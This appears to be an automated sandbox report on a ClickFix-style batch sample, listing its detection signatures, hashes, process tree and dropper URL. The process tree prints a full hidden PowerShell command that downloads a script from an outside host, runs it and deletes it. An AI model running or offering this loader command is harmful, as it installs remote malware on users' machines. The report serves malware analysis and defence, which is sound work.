Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/08/2026, 15:33

General

  • Target
    clickfix_raw_user_input.bat
  • Size 241B
  • Sample260817-szm7jstdlb
  • SHA256 028f3bee02a4e1ac9626a5b5542f8868c73b893561147aa1a2a19d834302a021
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://penguinpublishers.org/files/audio/

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -w h -ep Bypass -nop -c "$h='b.ps1';$n=$env:USERPROFILE+'\\Downloads\\'+$h;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://penguinpublishers.org/files/audio/', $n);& $n;Remove-Item $n -Force;"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w h -ep Bypass -nop -c "$h='b.ps1';$n=$env:USERPROFILE+'\\Downloads\\'+$h;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://penguinpublishers.org/files/audio/', $n);& $n;Remove-Item $n -Force;"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2340

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_b4j2iotf.nr5.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4j2iotf.nr5.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2340-0-0x000001FC97CB0000-0x000001FC97CC0000-memory.dmp

        memory/2340-1-0x000001FC97CB0000-0x000001FC97CC0000-memory.dmp

        memory/2340-7-0x000001FC99A60000-0x000001FC99A82000-memory.dmp

        memory/2340-10-0x000001FC97CB0000-0x000001FC97CC0000-memory.dmp

        memory/2340-11-0x000001FC97CB0000-0x000001FC97CC0000-memory.dmp

        memory/2340-12-0x000001FC97CB0000-0x000001FC97CC0000-memory.dmp